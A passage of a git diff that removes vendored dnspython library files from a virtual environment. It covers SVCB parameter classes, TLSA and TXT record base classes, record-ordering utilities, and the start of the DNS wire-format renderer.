return Emptiness.ALLOWED - - @classmethod - def from_value(cls, value): - if value is None or len(value) == 0: - return None - else: - return cls(_unescape(value)) - - def to_text(self): - return '"' + dns.rdata._escapify(self.value) + '"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - value = parser.get_bytes(parser.remaining()) - if len(value) == 0: - return None - else: - return cls(value) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - file.write(self.value) - - -@dns.immutable.immutable -class MandatoryParam(Param): - def __init__(self, keys): - # check for duplicates - keys = sorted([_validate_key(key)[0] for key in keys]) - prior_k = None - for k in keys: - if k == prior_k: - raise ValueError(f"duplicate key {k:d}") - prior_k = k - if k == ParamKey.MANDATORY: - raise ValueError("listed the mandatory key as mandatory") - self.keys = tuple(keys) - - @classmethod - def from_value(cls, value): - keys = [k.encode() for k in value.split(",")] - return cls(keys) - - def to_text(self): - return '"' + ",".join([key_to_text(key) for key in self.keys]) + '"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - keys = [] - last_key = -1 - while parser.remaining() > 0: - key = parser.get_uint16() - if key < last_key: - raise dns.exception.FormError("manadatory keys not ascending") - last_key = key - keys.append(key) - return cls(keys) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - for key in self.keys: - file.write(struct.pack("!H", key)) - - -@dns.immutable.immutable -class ALPNParam(Param): - def __init__(self, ids): - self.ids = dns.rdata.Rdata._as_tuple( - ids, lambda x: dns.rdata.Rdata._as_bytes(x, True, 255, False) - ) - - @classmethod - def from_value(cls, value): - return cls(_split(_unescape(value))) - - def to_text(self): - value = ",".join([_escapify(id) for id in self.ids]) - return '"' + dns.rdata._escapify(value.encode()) + '"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - ids = [] - while parser.remaining() > 0: - id = parser.get_counted_bytes() - ids.append(id) - return cls(ids) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - for id in self.ids: - file.write(struct.pack("!B", len(id))) - file.write(id) - - -@dns.immutable.immutable -class NoDefaultALPNParam(Param): - # We don't ever expect to instantiate this class, but we need - # a from_value() and a from_wire_parser(), so we just return None - # from the class methods when things are OK. - - @classmethod - def emptiness(cls): - return Emptiness.ALWAYS - - @classmethod - def from_value(cls, value): - if value is None or value == "": - return None - else: - raise ValueError("no-default-alpn with non-empty value") - - def to_text(self): - raise NotImplementedError # pragma: no cover - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - if parser.remaining() != 0: - raise dns.exception.FormError - return None - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - raise NotImplementedError # pragma: no cover - - -@dns.immutable.immutable -class PortParam(Param): - def __init__(self, port): - self.port = dns.rdata.Rdata._as_uint16(port) - - @classmethod - def from_value(cls, value): - value = int(value) - return cls(value) - - def to_text(self): - return f'"{self.port}"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - port = parser.get_uint16() - return cls(port) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - file.write(struct.pack("!H", self.port)) - - -@dns.immutable.immutable -class IPv4HintParam(Param): - def __init__(self, addresses): - self.addresses = dns.rdata.Rdata._as_tuple( - addresses, dns.rdata.Rdata._as_ipv4_address - ) - - @classmethod - def from_value(cls, value): - addresses = value.split(",") - return cls(addresses) - - def to_text(self): - return '"' + ",".join(self.addresses) + '"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - addresses = [] - while parser.remaining() > 0: - ip = parser.get_bytes(4) - addresses.append(dns.ipv4.inet_ntoa(ip)) - return cls(addresses) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - for address in self.addresses: - file.write(dns.ipv4.inet_aton(address)) - - -@dns.immutable.immutable -class IPv6HintParam(Param): - def __init__(self, addresses): - self.addresses = dns.rdata.Rdata._as_tuple( - addresses, dns.rdata.Rdata._as_ipv6_address - ) - - @classmethod - def from_value(cls, value): - addresses = value.split(",") - return cls(addresses) - - def to_text(self): - return '"' + ",".join(self.addresses) + '"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - addresses = [] - while parser.remaining() > 0: - ip = parser.get_bytes(16) - addresses.append(dns.ipv6.inet_ntoa(ip)) - return cls(addresses) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - for address in self.addresses: - file.write(dns.ipv6.inet_aton(address)) - - -@dns.immutable.immutable -class ECHParam(Param): - def __init__(self, ech): - self.ech = dns.rdata.Rdata._as_bytes(ech, True) - - @classmethod - def from_value(cls, value): - if "\\" in value: - raise ValueError("escape in ECH value") - value = base64.b64decode(value.encode()) - return cls(value) - - def to_text(self): - b64 = base64.b64encode(self.ech).decode("ascii") - return f'"{b64}"' - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - value = parser.get_bytes(parser.remaining()) - return cls(value) - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - file.write(self.ech) - - -@dns.immutable.immutable -class OHTTPParam(Param): - # We don't ever expect to instantiate this class, but we need - # a from_value() and a from_wire_parser(), so we just return None - # from the class methods when things are OK. - - @classmethod - def emptiness(cls): - return Emptiness.ALWAYS - - @classmethod - def from_value(cls, value): - if value is None or value == "": - return None - else: - raise ValueError("ohttp with non-empty value") - - def to_text(self): - raise NotImplementedError # pragma: no cover - - @classmethod - def from_wire_parser(cls, parser, origin=None): # pylint: disable=W0613 - if parser.remaining() != 0: - raise dns.exception.FormError - return None - - def to_wire(self, file, origin=None): # pylint: disable=W0613 - raise NotImplementedError # pragma: no cover - - -_class_for_key: Dict[ParamKey, Any] = { - ParamKey.MANDATORY: MandatoryParam, - ParamKey.ALPN: ALPNParam, - ParamKey.NO_DEFAULT_ALPN: NoDefaultALPNParam, - ParamKey.PORT: PortParam, - ParamKey.IPV4HINT: IPv4HintParam, - ParamKey.ECH: ECHParam, - ParamKey.IPV6HINT: IPv6HintParam, - ParamKey.OHTTP: OHTTPParam, -} - - -def _validate_and_define(params, key, value): - (key, force_generic) = _validate_key(_unescape(key)) - if key in params: - raise SyntaxError(f'duplicate key "{key:d}"') - cls = _class_for_key.get(key, GenericParam) - emptiness = cls.emptiness() - if value is None: - if emptiness == Emptiness.NEVER: - raise SyntaxError("value cannot be empty") - value = cls.from_value(value) - else: - if force_generic: - value = cls.from_wire_parser(dns.wire.Parser(_unescape(value))) - else: - value = cls.from_value(value) - params[key] = value - - -@dns.immutable.immutable -class SVCBBase(dns.rdata.Rdata): - """Base class for SVCB-like records""" - - # see: draft-ietf-dnsop-svcb-https-11 - - __slots__ = ["priority", "target", "params"] - - def __init__(self, rdclass, rdtype, priority, target, params): - super().__init__(rdclass, rdtype) - self.priority = self._as_uint16(priority) - self.target = self._as_name(target) - for k, v in params.items(): - k = ParamKey.make(k) - if not isinstance(v, Param) and v is not None: - raise ValueError(f"{k:d} not a Param") - self.params = dns.immutable.Dict(params) - # Make sure any parameter listed as mandatory is present in the - # record. - mandatory = params.get(ParamKey.MANDATORY) - if mandatory: - for key in mandatory.keys: - # Note we have to say "not in" as we have None as a value - # so a get() and a not None test would be wrong. - if key not in params: - raise ValueError(f"key {key:d} declared mandatory but not present") - # The no-default-alpn parameter requires the alpn parameter. - if ParamKey.NO_DEFAULT_ALPN in params: - if ParamKey.ALPN not in params: - raise ValueError("no-default-alpn present, but alpn missing") - - def to_text(self, origin=None, relativize=True, **kw): - target = self.target.choose_relativity(origin, relativize) - params = [] - for key in sorted(self.params.keys()): - value = self.params[key] - if value is None: - params.append(key_to_text(key)) - else: - kv = key_to_text(key) + "=" + value.to_text() - params.append(kv) - if len(params) > 0: - space = " " - else: - space = "" - return f"{self.priority} {target}{space}{' '.join(params)}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - priority = tok.get_uint16() - target = tok.get_name(origin, relativize, relativize_to) - if priority == 0: - token = tok.get() - if not token.is_eol_or_eof(): - raise SyntaxError("parameters in AliasMode") - tok.unget(token) - params = {} - while True: - token = tok.get() - if token.is_eol_or_eof(): - tok.unget(token) - break - if token.ttype != dns.tokenizer.IDENTIFIER: - raise SyntaxError("parameter is not an identifier") - equals = token.value.find("=") - if equals == len(token.value) - 1: - # 'key=', so next token should be a quoted string without - # any intervening whitespace. - key = token.value[:-1] - token = tok.get(want_leading=True) - if token.ttype != dns.tokenizer.QUOTED_STRING: - raise SyntaxError("whitespace after =") - value = token.value - elif equals > 0: - # key=value - key = token.value[:equals] - value = token.value[equals + 1 :] - elif equals == 0: - # =key - raise SyntaxError('parameter cannot start with "="') - else: - # key - key = token.value - value = None - _validate_and_define(params, key, value) - return cls(rdclass, rdtype, priority, target, params) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!H", self.priority)) - self.target.to_wire(file, None, origin, False) - for key in sorted(self.params): - file.write(struct.pack("!H", key)) - value = self.params[key] - with dns.renderer.prefixed_length(file, 2): - # Note that we're still writing a length of zero if the value is None - if value is not None: - value.to_wire(file, origin) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - priority = parser.get_uint16() - target = parser.get_name(origin) - if priority == 0 and parser.remaining() != 0: - raise dns.exception.FormError("parameters in AliasMode") - params = {} - prior_key = -1 - while parser.remaining() > 0: - key = parser.get_uint16() - if key < prior_key: - raise dns.exception.FormError("keys not in order") - prior_key = key - vlen = parser.get_uint16() - pkey = ParamKey.make(key) - pcls = _class_for_key.get(pkey, GenericParam) - with parser.restrict_to(vlen): - value = pcls.from_wire_parser(parser, origin) - params[pkey] = value - return cls(rdclass, rdtype, priority, target, params) - - def _processing_priority(self): - return self.priority - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.priority_processing_order(iterable) diff --git a/venv/Lib/site-packages/dns/rdtypes/tlsabase.py b/venv/Lib/site-packages/dns/rdtypes/tlsabase.py deleted file mode 100644 index ddc196f1f6fca3a5ff238c729f8b5da54a20fa39..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/tlsabase.py +++ /dev/null @@ -1,69 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2005-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii -import struct - -import dns.immutable -import dns.rdata -import dns.rdatatype - - -@dns.immutable.immutable -class TLSABase(dns.rdata.Rdata): - """Base class for TLSA and SMIMEA records""" - - # see: RFC 6698 - - __slots__ = ["usage", "selector", "mtype", "cert"] - - def __init__(self, rdclass, rdtype, usage, selector, mtype, cert): - super().__init__(rdclass, rdtype) - self.usage = self._as_uint8(usage) - self.selector = self._as_uint8(selector) - self.mtype = self._as_uint8(mtype) - self.cert = self._as_bytes(cert) - - def to_text(self, origin=None, relativize=True, **kw): - kw = kw.copy() - chunksize = kw.pop("chunksize", 128) - cert = dns.rdata._hexify( - self.cert, chunksize=chunksize, **kw # pyright: ignore - ) - return f"{self.usage} {self.selector} {self.mtype} {cert}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - usage = tok.get_uint8() - selector = tok.get_uint8() - mtype = tok.get_uint8() - cert = tok.concatenate_remaining_identifiers().encode() - cert = binascii.unhexlify(cert) - return cls(rdclass, rdtype, usage, selector, mtype, cert) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!BBB", self.usage, self.selector, self.mtype) - file.write(header) - file.write(self.cert) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("BBB") - cert = parser.get_remaining() - return cls(rdclass, rdtype, header[0], header[1], header[2], cert) diff --git a/venv/Lib/site-packages/dns/rdtypes/txtbase.py b/venv/Lib/site-packages/dns/rdtypes/txtbase.py deleted file mode 100644 index 5e5b24f5d2af1132cd3ee0f6aa87e4e4c276ba19..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/txtbase.py +++ /dev/null @@ -1,109 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""TXT-like base class.""" - -from typing import Any, Dict, Iterable, Tuple - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.renderer -import dns.tokenizer - - -@dns.immutable.immutable -class TXTBase(dns.rdata.Rdata): - """Base class for rdata that is like a TXT record (see RFC 1035).""" - - __slots__ = ["strings"] - - def __init__( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - strings: Iterable[bytes | str], - ): - """Initialize a TXT-like rdata. - - *rdclass*, an ``int`` is the rdataclass of the Rdata. - - *rdtype*, an ``int`` is the rdatatype of the Rdata. - - *strings*, a tuple of ``bytes`` - """ - super().__init__(rdclass, rdtype) - self.strings: Tuple[bytes] = self._as_tuple( - strings, lambda x: self._as_bytes(x, True, 255) - ) - if len(self.strings) == 0: - raise ValueError("the list of strings must not be empty") - - def to_text( - self, - origin: dns.name.Name | None = None, - relativize: bool = True, - **kw: Dict[str, Any], - ) -> str: - txt = "" - prefix = "" - for s in self.strings: - txt += f'{prefix}"{dns.rdata._escapify(s)}"' - prefix = " " - return txt - - @classmethod - def from_text( - cls, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - tok: dns.tokenizer.Tokenizer, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, - ) -> dns.rdata.Rdata: - strings = [] - for token in tok.get_remaining(): - token = token.unescape_to_bytes() - # The 'if' below is always true in the current code, but we - # are leaving this check in in case things change some day. - if not ( - token.is_quoted_string() or token.is_identifier() - ): # pragma: no cover - raise dns.exception.SyntaxError("expected a string") - if len(token.value) > 255: - raise dns.exception.SyntaxError("string too long") - strings.append(token.value) - if len(strings) == 0: - raise dns.exception.UnexpectedEnd - return cls(rdclass, rdtype, strings) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - for s in self.strings: - with dns.renderer.prefixed_length(file, 1): - file.write(s) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - strings = [] - while parser.remaining() > 0: - s = parser.get_counted_bytes() - strings.append(s) - return cls(rdclass, rdtype, strings) diff --git a/venv/Lib/site-packages/dns/rdtypes/util.py b/venv/Lib/site-packages/dns/rdtypes/util.py deleted file mode 100644 index c17b154b8fbf30914e7bcd0855bcfbcc695a25dd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/util.py +++ /dev/null @@ -1,269 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import collections -import random -import struct -from typing import Any, Iterable, List, Tuple - -import dns.exception -import dns.ipv4 -import dns.ipv6 -import dns.name -import dns.rdata -import dns.rdatatype -import dns.tokenizer -import dns.wire - - -class Gateway: - """A helper class for the IPSECKEY gateway and AMTRELAY relay fields""" - - name = "" - - def __init__(self, type: Any, gateway: str | dns.name.Name | None = None): - self.type = dns.rdata.Rdata._as_uint8(type) - self.gateway = gateway - self._check() - - @classmethod - def _invalid_type(cls, gateway_type): - return f"invalid {cls.name} type: {gateway_type}" - - def _check(self): - if self.type == 0: - if self.gateway not in (".", None): - raise SyntaxError(f"invalid {self.name} for type 0") - self.gateway = None - elif self.type == 1: - # check that it's OK - assert isinstance(self.gateway, str) - dns.ipv4.inet_aton(self.gateway) - elif self.type == 2: - # check that it's OK - assert isinstance(self.gateway, str) - dns.ipv6.inet_aton(self.gateway) - elif self.type == 3: - if not isinstance(self.gateway, dns.name.Name): - raise SyntaxError(f"invalid {self.name}; not a name") - else: - raise SyntaxError(self._invalid_type(self.type)) - - def to_text(self, origin=None, relativize=True): - if self.type == 0: - return "." - elif self.type in (1, 2): - return self.gateway - elif self.type == 3: - assert isinstance(self.gateway, dns.name.Name) - return str(self.gateway.choose_relativity(origin, relativize)) - else: - raise ValueError(self._invalid_type(self.type)) # pragma: no cover - - @classmethod - def from_text( - cls, gateway_type, tok, origin=None, relativize=True, relativize_to=None - ): - if gateway_type in (0, 1, 2): - gateway = tok.get_string() - elif gateway_type == 3: - gateway = tok.get_name(origin, relativize, relativize_to) - else: - raise dns.exception.SyntaxError( - cls._invalid_type(gateway_type) - ) # pragma: no cover - return cls(gateway_type, gateway) - - # pylint: disable=unused-argument - def to_wire(self, file, compress=None, origin=None, canonicalize=False): - if self.type == 0: - pass - elif self.type == 1: - assert isinstance(self.gateway, str) - file.write(dns.ipv4.inet_aton(self.gateway)) - elif self.type == 2: - assert isinstance(self.gateway, str) - file.write(dns.ipv6.inet_aton(self.gateway)) - elif self.type == 3: - assert isinstance(self.gateway, dns.name.Name) - self.gateway.to_wire(file, None, origin, False) - else: - raise ValueError(self._invalid_type(self.type)) # pragma: no cover - - # pylint: enable=unused-argument - - @classmethod - def from_wire_parser(cls, gateway_type, parser, origin=None): - if gateway_type == 0: - gateway = None - elif gateway_type == 1: - gateway = dns.ipv4.inet_ntoa(parser.get_bytes(4)) - elif gateway_type == 2: - gateway = dns.ipv6.inet_ntoa(parser.get_bytes(16)) - elif gateway_type == 3: - gateway = parser.get_name(origin) - else: - raise dns.exception.FormError(cls._invalid_type(gateway_type)) - return cls(gateway_type, gateway) - - -class Bitmap: - """A helper class for the NSEC/NSEC3/CSYNC type bitmaps""" - - type_name = "" - - def __init__(self, windows: Iterable[Tuple[int, bytes]] | None = None): - last_window = -1 - if windows is None: - windows = [] - self.windows = windows - for window, bitmap in self.windows: - if not isinstance(window, int): - raise ValueError(f"bad {self.type_name} window type") - if window <= last_window: - raise ValueError(f"bad {self.type_name} window order") - if window > 256: - raise ValueError(f"bad {self.type_name} window number") - last_window = window - if not isinstance(bitmap, bytes): - raise ValueError(f"bad {self.type_name} octets type") - if len(bitmap) == 0 or len(bitmap) > 32: - raise ValueError(f"bad {self.type_name} octets") - - def to_text(self) -> str: - text = "" - for window, bitmap in self.windows: - bits = [] - for i, byte in enumerate(bitmap): - for j in range(0, 8): - if byte & (0x80 >> j): - rdtype = dns.rdatatype.RdataType.make(window * 256 + i * 8 + j) - bits.append(dns.rdatatype.to_text(rdtype)) - text += " " + " ".join(bits) - return text - - @classmethod - def from_text(cls, tok: "dns.tokenizer.Tokenizer") -> "Bitmap": - rdtypes = [] - for token in tok.get_remaining(): - rdtype = dns.rdatatype.from_text(token.unescape().value) - if rdtype == 0: - raise dns.exception.SyntaxError(f"{cls.type_name} with bit 0") - rdtypes.append(rdtype) - return cls.from_rdtypes(rdtypes) - - @classmethod - def from_rdtypes(cls, rdtypes: List[dns.rdatatype.RdataType]) -> "Bitmap": - rdtypes = sorted(rdtypes) - window = 0 - octets = 0 - prior_rdtype = 0 - bitmap = bytearray(b"\0" * 32) - windows = [] - for rdtype in rdtypes: - if rdtype == prior_rdtype: - continue - prior_rdtype = rdtype - new_window = rdtype // 256 - if new_window != window: - if octets != 0: - windows.append((window, bytes(bitmap[0:octets]))) - bitmap = bytearray(b"\0" * 32) - window = new_window - offset = rdtype % 256 - byte = offset // 8 - bit = offset % 8 - octets = byte + 1 - bitmap[byte] = bitmap[byte] | (0x80 >> bit) - if octets != 0: - windows.append((window, bytes(bitmap[0:octets]))) - return cls(windows) - - def to_wire(self, file: Any) -> None: - for window, bitmap in self.windows: - file.write(struct.pack("!BB", window, len(bitmap))) - file.write(bitmap) - - @classmethod - def from_wire_parser(cls, parser: "dns.wire.Parser") -> "Bitmap": - windows = [] - while parser.remaining() > 0: - window = parser.get_uint8() - bitmap = parser.get_counted_bytes() - windows.append((window, bitmap)) - return cls(windows) - - -def _priority_table(items): - by_priority = collections.defaultdict(list) - for rdata in items: - by_priority[rdata._processing_priority()].append(rdata) - return by_priority - - -def priority_processing_order(iterable): - items = list(iterable) - if len(items) == 1: - return items - by_priority = _priority_table(items) - ordered = [] - for k in sorted(by_priority.keys()): - rdatas = by_priority[k] - random.shuffle(rdatas) - ordered.extend(rdatas) - return ordered - - -_no_weight = 0.1 - - -def weighted_processing_order(iterable): - items = list(iterable) - if len(items) == 1: - return items - by_priority = _priority_table(items) - ordered = [] - for k in sorted(by_priority.keys()): - rdatas = by_priority[k] - total = sum(rdata._processing_weight() or _no_weight for rdata in rdatas) - while len(rdatas) > 1: - r = random.uniform(0, total) - for n, rdata in enumerate(rdatas): # noqa: B007 - weight = rdata._processing_weight() or _no_weight - if weight > r: - break - r -= weight - total -= weight # pyright: ignore[reportPossiblyUnboundVariable] - # pylint: disable=undefined-loop-variable - ordered.append(rdata) # pyright: ignore[reportPossiblyUnboundVariable] - del rdatas[n] # pyright: ignore[reportPossiblyUnboundVariable] - ordered.append(rdatas[0]) - return ordered - - -def parse_formatted_hex(formatted, num_chunks, chunk_size, separator): - if len(formatted) != num_chunks * (chunk_size + 1) - 1: - raise ValueError("invalid formatted hex string") - value = b"" - for _ in range(num_chunks): - chunk = formatted[0:chunk_size] - value += int(chunk, 16).to_bytes(chunk_size // 2, "big") - formatted = formatted[chunk_size:] - if len(formatted) > 0 and formatted[0] != separator: - raise ValueError("invalid formatted hex string") - formatted = formatted[1:] - return value diff --git a/venv/Lib/site-packages/dns/renderer.py b/venv/Lib/site-packages/dns/renderer.py deleted file mode 100644 index cc912b29d9531579508e818b0c3978bc37c89754..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/renderer.py +++ /dev/null @@ -1,355 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Help for building DNS wire format messages""" - -import contextlib -import io -import random -import struct -import time - -import dns.edns -import dns.exception -import dns.rdataclass -import dns.rdatatype -import dns.tsig - -# Note we can't import dns.message for cicularity reasons - -QUESTION = 0 -ANSWER = 1 -AUTHORITY = 2 -ADDITIONAL = 3 - - -@contextlib.contextmanager -def prefixed_length(output, length_length): - output.write(b"\00" * length_length) - start = output.tell() - yield - end = output.tell() - length = end - start - if length > 0: - try: - output.seek(start - length_length) - try: - output.write(length.to_bytes(length_length, "big")) - except OverflowError: - raise dns.exception.FormError - finally: - output.seek(end) - - -class Renderer: - """Helper class for building DNS wire-format messages. - - Most applications can use the higher-level L{dns.message.Message} - class and its to_wire() method to generate wire-format messages. - This class is for those applications which need finer control - over the generation of messages. - - Typical use:: - - r = dns.renderer.Renderer(id=1, flags=0x80, max_size=512) - r.add_question(qname, qtype, qclass) - r.add_rrset(dns.renderer.ANSWER, rrset_1) - r.add_rrset(dns.renderer.ANSWER, rrset_2) - r.add_rrset(dns.renderer.AUTHORITY, ns_rrset) - r.add_rrset(dns.renderer.ADDITIONAL, ad_rrset_1) - r.add_rrset(dns.renderer.ADDITIONAL, ad_rrset_2) - r.add_edns(0, 0, 4096) - r.write_header() - r.add_tsig(keyname, secret, 300, 1, 0, '', request_mac) - wire = r.get_wire() - - If padding is going to be used, then the OPT record MUST be - written after everything else in the additional section except for - the TSIG (if any). - - output, an io.BytesIO, where rendering is written - - id: the message id - - flags: the message flags - - max_size: the maximum size of the message - - origin: the origin to use when rendering relative names - - compress: the compression table - - section: an int, the section currently being rendered - - counts: list of the number of RRs in each section - - mac: the MAC of the rendered message (if TSIG was used) - """ - - def __init__(self, id=None, flags=0, max_size=65535, origin=None): - """Initialize a new renderer.""" - - self.output = io.BytesIO() - if id is None: - self.id = random.randint(0, 65535) - else: - self.id = id - self.flags = flags - self.max_size = max_size - self.origin = origin - self.compress = {} - self.section = QUESTION - self.counts = [0, 0, 0, 0] - self.output.write(b"\x00" * 12) - self.mac = "" - self.reserved = 0 - self.was_padded = False - - def _rollback(self, where): - """Truncate the output buffer at offset *where*, and remove any - compression table entries that pointed beyond the truncation - point. - """ - - self.output.seek(where) - self.output.truncate() - keys_to_delete = [] - for k, v in self.compress.items(): - if v >= where: - keys_to_delete.append(k) - for k in keys_to_delete: - del self.compress[k] - - def _set_section(self, section): - """Set the renderer's current section. - - Sections must be rendered order: QUESTION, ANSWER, AUTHORITY, - ADDITIONAL. Sections may be empty. - - Raises dns.exception.FormError if an attempt was made to set - a section value less than the current section. - """ - - if self.section != section: - if self.section > section: - raise dns.exception.FormError - self.section = section - - @contextlib.contextmanager - def _track_size(self): - start = self.output.tell() - yield start - if self.output.tell() > self.max_size: - self._rollback(start) - raise dns.exception.TooBig - - @contextlib.contextmanager - def _temporarily_seek_to(self, where): - current = self.output.tell() - try: - self.output.seek(where) - yield - finally: - self.output.seek(current) - - def add_question(self, qname, rdtype, rdclass=dns.rdataclass.IN): - """Add a question to the message.""" - - self._set_section(QUESTION) - with self._track_size(): - qname.to_wire(self.output, self.compress, self.origin) - self.output.write(struct.pack("!HH", rdtype, rdclass)) - self.counts[QUESTION] += 1 - - def add_rrset(self, section, rrset, **kw): - """Add the rrset to the specified section. - - Any keyword arguments are passed on to the rdataset's to_wire() - routine. - """ - - self._set_section(section) - with self._track_size(): - n = rrset.to_wire(self.output, self.compress, self.origin, **kw) - self.counts[section] += n - - def add_rdataset(self, section, name, rdataset, **kw): - """Add the rdataset to the specified section, using the specified - name as the owner name. - - Any keyword arguments are passed on to the rdataset's to_wire() - routine. - """ - - self._set_section(section) - with self._track_size(): - n = rdataset.to_wire(name, self.output, self.compress, self.origin, **kw) - self.counts[section] += n - - def add_opt(self, opt, pad=0, opt_size=0, tsig_size=0): - """Add *opt* to the additional section, applying padding if desired. The - padding will take the specified precomputed OPT size and TSIG size into - account. - - Note that we don't have reliable way of knowing how big a GSS-TSIG digest - might be, so we we might not get an even multiple of the pad in that case.""" - if pad: - ttl = opt.ttl - assert opt_size >= 11 - opt_rdata = opt[0] - size_without_padding = self.output.tell() + opt_size + tsig_size - remainder = size_without_padding % pad - if remainder: - pad = b"\x00" * (pad - remainder) - else: - pad = b"" - options = list(opt_rdata.options) - options.append(dns.edns.GenericOption(dns.edns.OptionType.PADDING, pad)) - opt = dns.message.Message._make_opt( # pyright: ignore - ttl, opt_rdata.rdclass, options - ) - self.was_padded = True - self.add_rrset(ADDITIONAL, opt) - - def add_edns(self, edns, ednsflags, payload, options=None): - """Add an EDNS OPT record to the message.""" - - # make sure the EDNS version in ednsflags agrees with edns - ednsflags &= 0xFF00FFFF - ednsflags |= edns << 16 - opt = dns.message.Message._make_opt( # pyright: ignore - ednsflags, payload, options - ) - self.add_opt(opt) - - def add_tsig( - self, - keyname, - secret, - fudge, - id, - tsig_error, - other_data, - request_mac, 